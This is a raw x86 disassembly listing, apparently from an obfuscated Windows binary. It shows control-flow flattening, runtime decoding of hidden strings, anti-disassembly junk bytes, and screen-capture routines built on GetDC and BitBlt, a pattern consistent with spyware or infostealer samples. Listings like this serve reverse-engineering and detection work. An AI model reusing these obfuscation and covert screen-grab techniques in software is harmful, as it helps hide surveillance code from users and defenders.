mov edx, dword [esp + 0x18]
mov word [edx], cx
mov ecx, dword [esp + 0x18]
add ecx, 2
cmp ecx, dword [esp + 0x10]
jae 0x422a6b
add ebx, eax
cmp ebx, esi
mov edx, esi
jb 0x422a30
mov word [ecx], 0
lea eax, [esp + 0x1c]
push 0x60
push 3
push 0x120089
push eax
push dword [esp + 0x1c]
call fcn.0043f310
add esp, 0x14
not eax
shr eax, 0x1f
mov ebx, dword [esp + 0x7c]
jmp dword [eax*4 + 0x446f38]
jmp dword [0x446f40]
jmp dword [0x446f20]
push dword [esp + 0xc]
call fcn.00409630
add esp, 4
mov eax, dword [case.0x4203b0.173]
mov ecx, dword [esp + 0x14]
nop
nop
nop
nop
nop
jmp eax
mov esi, dword [esp + 0x70]
test eax, eax
setns al
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x446f50]
push esi
call fcn.00409620
add esp, 4
push 0
push esi
mov dword [esp + 0x20], eax
push eax
push dword [esp + 0x28]
call fcn.0043f750
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x446f58]
xor ecx, ecx
mov eax, dword [esp + 0xc]
jmp 0x422b28
add eax, 2
test dx, dx
je 0x422b39
mov esi, ecx
movzx edx, word [eax]
mov ecx, eax
cmp dx, 0x5c
je 0x422b20
mov ecx, esi
jmp 0x422b20
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x446f60]
mov dword [esp + 0x10], 0
xor eax, eax
mov esi, dword [esp + 8]
jmp 0x422b79
jmp dword [0x446f70]
sub ecx, dword [esp + 0xc]
sar ecx, 1
inc ecx
mov dword [esp + 0x10], ecx
mov esi, dword [esp + 8]
mov eax, esi
sub eax, ecx
add eax, 0x1b
push eax
call fcn.00409620
add esp, 4
mov dword [esp + 0x68], eax
mov eax, dword [esp + 0x10]
sub esi, eax
mov dword [esp + 8], esi
mov dword [esp + 0x24], 0x2d2915f2
mov dword [esp + 0x28], 0x301c2829
mov dword [esp + 0x2c], 0xfebc037
mov dword [esp + 0x30], 0xf932010b
mov dword [esp + 0x34], 0xb3d3b19
mov dword [esp + 0x38], 0xfd090d3f
mov dword [esp + 0x3c], 0x91c3fc
add eax, ebp
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x1b
ja 0x422c1b
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x24]
mov esi, ecx
and esi, 0x146b8489
xor ecx, 0x946b8489
lea ecx, [ecx + esi*2]
xor ecx, edx
mov dword [esp + 4], ecx
mov ecx, dword [esp + 4]
add cl, 0xce
mov edx, dword [esp]
mov byte [esp + edx + 0x24], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x1c
jb 0x422be0
movzx edx, byte [esp + 0x24]
mov esi, dword [esp + 0x68]
test dl, dl
lea ecx, [esp + 0x25]
je 0x422c3b
mov esi, dword [esp + 0x68]
mov byte [esi], dl
inc esi
movzx edx, byte [ecx]
inc ecx
test dl, dl
jne 0x422c30
mov byte [esi], 0
cmp dword [esp + 8], 0
je 0x422cac
mov ecx, dword [esp + 0x10]
add ecx, edi
mov edi, dword [esp + 0x78]
mov edx, edi
mov dword [esp + 0x10], ecx
sub edx, ecx
add edi, 0xfffffff5
test dl, 1
je 0x422c7a
mov ecx, dword [esp + 8]
mov edx, ecx
not edx
lea ecx, [edx + ecx*2]
mov dword [esp + 8], ecx
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [esi], dl
inc esi
mov ecx, dword [esp + 0x98]
cmp edi, dword [esp + 0x10]
mov edi, dword [esp + 8]
je 0x422cb3
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [esi], dl
movzx edx, byte [eax]
cmp dl, 1
sbb eax, 0xffffffff
mov byte [esi + 1], dl
add esi, 2
add edi, 0xfffffffe
jne 0x422c8b
jmp 0x422cb3
mov ecx, dword [esp + 0x98]
mov byte [esi], 0
push dword [esp + 0x70]
push dword [esp + 0x1c]
mov esi, dword [esp + 0x70]
push esi
call fcn.00409fb0
movzx eax, al
mov ecx, dword [esp + 0x14]
and cl, 1
movzx ecx, cl
mov edx, eax
not edx
and edx, ecx
xor eax, ecx
add eax, ecx
cmp eax, edx
setne al
mov dword [esp + 0x14], eax
jmp dword [0x446f78]
jmp dword [0x446f80]
jmp dword [0x446f90]
push dword [esp + 0x18]
call fcn.00409630
add esp, 4
jmp dword [0x446f98]
jmp dword [0x446f98]
cmp dword [edi + esi*8], 0x625b6034
je 0x422d30
inc esi
cmp ecx, esi
jne 0x422d20
jmp case.0x422a93.24
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x422a93.24
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
mov eax, dword [esp + 0x1c]
mov dword [esp], 0x494a4b4c
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 3
ja 0x422da3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x88
mov edx, dword [esp + 4]
mov byte [esp + edx], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 4
jb 0x422d70
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x422dd8
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x422dd0
inc esi
cmp ecx, esi
jne 0x422dc0
jmp 0x422dd8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x422e51
jmp dword [0x446fa4]
mov eax, dword [esp + 0x1c]
mov dword [esp], 0x494a4b4c
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 3
ja 0x422e33
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x88
mov edx, dword [esp + 4]
mov byte [esp + edx], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 4
jb 0x422e00
mov ecx, dword [0x44a91c]
test ecx, ecx
je case.0x422a93.24
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44a920]
jmp 0x422d20
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
jmp dword [0x446fa4]
jmp dword [0x446fa8]
push esi
call fcn.00409630
add esp, 4
push esi
call fcn.00409630
add esp, 4
jmp dword [0x446f88]
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x24]
call fcn.0043f670
add esp, 0xc
lea eax, [esp + 0x70]
push 0
push eax
push dword [esp + 0x24]
call fcn.0043f670
add esp, 0xc
jmp dword [0x446f4c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x24], 0xf7c1c5c5
mov dword [esp + 0x28], 0xf3ccf1c1
mov word [esp + 0x2c], 0x321a
mov byte [esp + 0x2e], 0x55
mov word [esp + 0x2f], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0xc
ja 0x422f2e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x24]
add eax, 0xd32363e5
xor eax, ecx
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
add al, 0x46
mov ecx, dword [esp]
mov byte [esp + ecx + 0x24], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0xd
jb 0x422f00
movzx ecx, byte [esp + 0x24]
test cl, cl
je 0x422f70
lea eax, [esp + 0x24]
mov edi, ebp
jmp 0x422f47
movzx ecx, byte [eax]
test cl, cl
je 0x422f82
movzx edx, byte [ebp]
test dl, dl
je 0x422f80
inc ebp
inc eax
lea esi, [edi + 1]
cmp dl, cl
je 0x422f5c
mov edi, esi
mov ebp, esi
je 0x422f40
lea eax, [esp + 0x24]
jmp 0x422f40
mov edi, ebp
jmp 0x422f82
xor edi, edi
xor eax, eax
test edi, edi
sete al
mov ecx, dword [esp + 0x14]
jmp dword [eax*4 + 0x446eb8]
mov ebp, ecx
jmp dword [0x446fc0]
push dword [esp + 0x6c]
call fcn.00409630
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x446fd4]
mov eax, dword [esp + 0x20]
mov dword [esp], 0x494a4b4c
mov dword [esp + 4], 0
mov ecx, dword [esp + 4]
cmp ecx, 3
ja 0x423013
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 4]
mov edx, dword [esp + 4]
movzx edx, byte [esp + edx]
add ecx, 0xc315bc3b
xor ecx, edx
mov dword [esp + 0x24], ecx
mov ecx, dword [esp + 0x24]
add cl, 0x88
mov edx, dword [esp + 4]
mov byte [esp + edx], cl
inc dword [esp + 4]
mov ecx, dword [esp + 4]
cmp ecx, 4
jb 0x422fe0
mov ecx, dword [0x44a91c]
test ecx, ecx
je 0x423048
mov edx, dword [esp]
xor esi, esi
mov edi, dword [0x44a920]
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x423040
inc esi
cmp ecx, esi
jne 0x423030
jmp 0x423048
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x423055
mov ecx, ebp
and cl, 1
mov eax, ecx
jmp dword [0x446fd8]
push eax
push 1
push dword [0x44a924]
push ecx
call fcn.0043d1c0
add esp, 0x10
mov ecx, ebp
and cl, 1
mov eax, ecx
jmp dword [0x446fd8]
int3
xor ecx, ecx
sub eax, 0xd1bd3217
sete cl
mov dword [ebp - 0x22c], ecx
mov eax, dword [ebp - 0x230]
mov ecx, dword [ebp - 0x22c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xa61abc3f
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x138]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3da3e9eb
setl cl
mov dword [ebp - 0x2ac], ecx
mov ecx, dword [ebp - 0x2b0]
mov edx, dword [ebp - 0x2ac]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x160]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x3411bf73
sete cl
mov dword [ebp - 0x274], ecx
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x81dda47
setl cl
mov dword [ebp - 0x264], ecx
mov ecx, dword [ebp - 0x268]
mov edx, dword [ebp - 0x264]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x1c2206e0
sete cl
mov dword [ebp - 0x26c], ecx
mov eax, dword [ebp - 0x270]
mov ecx, dword [ebp - 0x26c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x4d46911
setl cl
mov dword [ebp - 0x28c], ecx
mov ecx, dword [ebp - 0x290]
mov edx, dword [ebp - 0x28c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xbed2017c
setl cl
mov dword [ebp - 0x21c], ecx
mov ecx, dword [ebp - 0x220]
mov edx, dword [ebp - 0x21c]
mov ecx, dword [ecx + edx*4]
xchg ecx, eax
jmp ecx
xor ecx, ecx
sub eax, 0x4d46911
sete cl
mov dword [ebp - 0x254], ecx
mov eax, dword [ebp - 0x258]
mov ecx, dword [ebp - 0x254]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9f134c00
setl cl
mov dword [ebp - 0x1ac], ecx
mov ecx, dword [ebp - 0x1b0]
mov edx, dword [ebp - 0x1ac]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xf7f7025c
setl cl
mov dword [ebp - 0x244], ecx
mov ecx, dword [ebp - 0x248]
mov edx, dword [ebp - 0x244]
mov ecx, dword [ecx + edx*4]
jmp ecx
adc dh, byte [edi + eax]
popal
int 0xe1
jecxz 0x42464f
inc ebp
pushfd
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ecx, dword [ebp + 8]
call fcn.00409fb0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xf7f7025c
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x98]
mov eax, dword [ecx + eax*4]
jmp eax
cmp byte [eax - 0x7caf7eef], ch
in al, dx
adc al, 0x89
out 0x50, al
push eax
sub esp, 0x10
push eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
mov edi, eax
mov dword [ebp - 0x78], edi
sub esp, 4
mov dword [esp], 0x4c
mov ebx, dword [sym.imp.USER32.dll_GetSystemMetrics]
call ebx
mov dword [ebp - 0x80], eax
sub esp, 4
mov dword [esp], 0x4d
call ebx
mov dword [ebp - 0x7c], eax
sub esp, 8
mov dword [esp], edi
mov dword [esp + 4], 7
mov eax, dword [sym.imp.GDI32.dll_GetCurrentObject]
call eax
mov ebx, eax
sub esp, 0xc
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], 0x18
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
call eax
mov eax, esi
mov ecx, dword [eax + 4]
mov dword [ebp - 0x58], ecx
mov edi, dword [eax + 8]
sub esp, 4
mov dword [esp], ebx
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
sub esp, 4
mov esi, dword [ebp - 0x78]
mov dword [esp], esi
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
mov ebx, eax
sub esp, 0xc
mov dword [esp + 8], edi
mov eax, dword [ebp - 0x58]
mov dword [esp + 4], eax
mov dword [esp], esi
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call eax
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ebx
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
sub esp, 0x24
mov eax, dword [ebp - 0x7c]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp - 0x80]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], edi
mov eax, dword [ebp - 0x58]
mov dword [esp + 0xc], eax
mov dword [esp], ebx
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_BitBlt]
call eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x9f134c00
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0xb8]
mov eax, dword [ecx + eax*4]
jmp eax
mov al, byte [ebp - 0x1d]
test al, al
mov eax, 0x3411bf73
jne 0x424836
mov eax, 0xbe752881
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x11], al
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0xd8]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
mov eax, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
mov eax, dword [ebp - 0x2c]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x30]
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004257d0
add esp, 0xc
mov byte [ebp - 0x1e], al
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x353413b4
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
mov eax, dword [ecx + eax*4]
jmp eax
push ebx
pop ds
popal
mov dword [ebx + 0x4d8be845], ecx
aam 0x83
in al, dx
or byte [ecx - 0x76fbdbb4], cl
add al, 0x24
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
mov eax, dword [ebp - 0x18]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteDC]
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
mov eax, dword [ebp - 0x2c]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x30]
sub esp, 0xc
mov dword [esp + 8], ecx
mov dword [esp + 4], eax
mov dword [esp], edx
call fcn.004257d0
add esp, 0xc
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbed2017c
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xb0]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x44]
sub esp, 4
mov dword [esp], eax
call fcn.00409630
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x81dda47
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc8]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x88]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x62f41e46
setl cl
mov dword [ebp - 0x2cc], ecx
mov ecx, dword [ebp - 0x2d0]
mov edx, dword [ebp - 0x2cc]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.00419ba0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x882b8bc8
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x110]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xa61abc3f
setl cl
mov dword [ebp - 0x1a4], ecx
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x1a4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3da3e9eb
sete cl
mov dword [ebp - 0x2a4], ecx
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xad236aa0
sete cl
mov dword [ebp - 0x1c4], ecx
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xbe752881
setl cl
mov dword [ebp - 0x1d4], ecx
mov ecx, dword [ebp - 0x1d8]
mov edx, dword [ebp - 0x1d4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x3ce8dc15
sete cl
mov dword [ebp - 0x29c], ecx
mov eax, dword [ebp - 0x2a0]
mov ecx, dword [ebp - 0x29c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3ce8dc15
setl cl
mov dword [ebp - 0x2b4], ecx
mov ecx, dword [ebp - 0x2b8]
mov edx, dword [ebp - 0x2b4]
mov ecx, dword [ecx + edx*4]
jmp ecx
call fcn.00419ba0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xf7f7025c
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe8]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x353413b4
setl cl
mov dword [ebp - 0x2fc], ecx
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x2fc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xbe752881
sete cl
mov dword [ebp - 0x1cc], ecx
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd488ceae
setl cl
mov dword [ebp - 0x24c], ecx
mov ecx, dword [ebp - 0x250]
mov edx, dword [ebp - 0x24c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xd488ceae
sete cl
mov dword [ebp - 0x234], ecx
mov eax, dword [ebp - 0x238]
mov ecx, dword [ebp - 0x234]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x9f134c00
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x158]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x81dda47
sete cl
mov dword [ebp - 0x25c], ecx
mov eax, dword [ebp - 0x260]
mov ecx, dword [ebp - 0x25c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9b548cec
setl cl
mov dword [ebp - 0x1b4], ecx
mov ecx, dword [ebp - 0x1b8]
mov edx, dword [ebp - 0x1b4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x9f134c00
sete cl
mov dword [ebp - 0x194], ecx
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xf7f7025c
sete cl
mov dword [ebp - 0x23c], ecx
mov eax, dword [ebp - 0x240]
mov ecx, dword [ebp - 0x23c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x94f9956c
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x118]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xad236aa0
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x100]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x7df3773f
sete cl
mov dword [ebp - 0x2dc], ecx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [ebp - 0x2dc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xc55a3c84
sete cl
mov dword [ebp - 0x1fc], ecx
mov eax, dword [ebp - 0x200]
mov ecx, dword [ebp - 0x1fc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xce7c3a5f
setl cl
mov dword [ebp - 0x20c], ecx
mov ecx, dword [ebp - 0x210]
mov edx, dword [ebp - 0x20c]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x62f41e46
sete cl
mov dword [ebp - 0x2c4], ecx
mov eax, dword [ebp - 0x2c8]
mov ecx, dword [ebp - 0x2c4]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x7df3773f
setl cl
mov dword [ebp - 0x2e4], ecx
mov ecx, dword [ebp - 0x2e8]
mov edx, dword [ebp - 0x2e4]
mov ecx, dword [ecx + edx*4]
jmp ecx
add ebx, ebp
int1
mov byte [0xe4b55289], al
mov eax, dword [ebp - 0x44]
sub esp, 4
mov dword [esp], eax
call fcn.00409630
add esp, 4
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x9b548cec
mov eax, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x90]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
mov eax, dword [ebp - 0x10]
mov dword [eax], 0xbed2017c
mov eax, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x130]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00419ba0
sub esp, 0x18
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
mov dword [ebp - 0x1c], eax
sub esp, 4
mov dword [esp], 0x4c
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
call esi
mov dword [ebp - 0x6c], eax
sub esp, 4
mov dword [esp], 0x4d
call esi
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 7
mov eax, dword [sym.imp.GDI32.dll_GetCurrentObject]
call eax
mov esi, eax
mov eax, dword [ebp - 0x4c]
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp], esi
mov dword [esp + 4], 0x18
mov eax, dword [sym.imp.GDI32.dll_GetObjectW]
call eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x34], eax
sub esp, 4
mov dword [esp], esi
mov eax, dword [sym.imp.GDI32.dll_DeleteObject]
call eax
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleDC]
call eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x34]
sub esp, 0xc
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x30]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
mov eax, dword [sym.imp.GDI32.dll_SelectObject]
call eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x34]
mov ebx, dword [ebp - 0x18]
sub esp, 0x24
mov dword [esp + 0x1c], edx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x20], 0xcc0020
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_BitBlt]
call eax
mov eax, dword [ebp - 0x38]
not eax
mov ecx, dword [ebp - 0x34]
xor ecx, 2
and eax, ecx
sub eax, 0xffffffff
setl byte [ebp - 0x1f]
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x62f41e46
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x150]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x882b8bc8
sete cl
mov dword [ebp - 0x16c], ecx
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x16c]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x882b8bc8
setl cl
mov dword [ebp - 0x184], ecx
mov ecx, dword [ebp - 0x188]
mov edx, dword [ebp - 0x184]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0xa8620e96
setl cl
mov dword [ebp - 0x224], ecx
mov ecx, dword [ebp - 0x228]
mov edx, dword [ebp - 0x224]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x42ad1c08
setl cl
mov dword [ebp - 0x2f4], ecx
mov ecx, dword [ebp - 0x2f8]
mov edx, dword [ebp - 0x2f4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x42ad1c08
sete cl
mov dword [ebp - 0x2bc], ecx
mov eax, dword [ebp - 0x2c0]
mov ecx, dword [ebp - 0x2bc]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xc1f16d21
setl cl
mov dword [ebp - 0x1f4], ecx
mov ecx, dword [ebp - 0x1f8]
mov edx, dword [ebp - 0x1f4]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0xce7c3a5f
sete cl
mov dword [ebp - 0x204], ecx
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x204]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x9b548cec
sete cl
mov dword [ebp - 0x18c], ecx
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x18c]
mov eax, dword [eax + ecx*4]
jmp eax
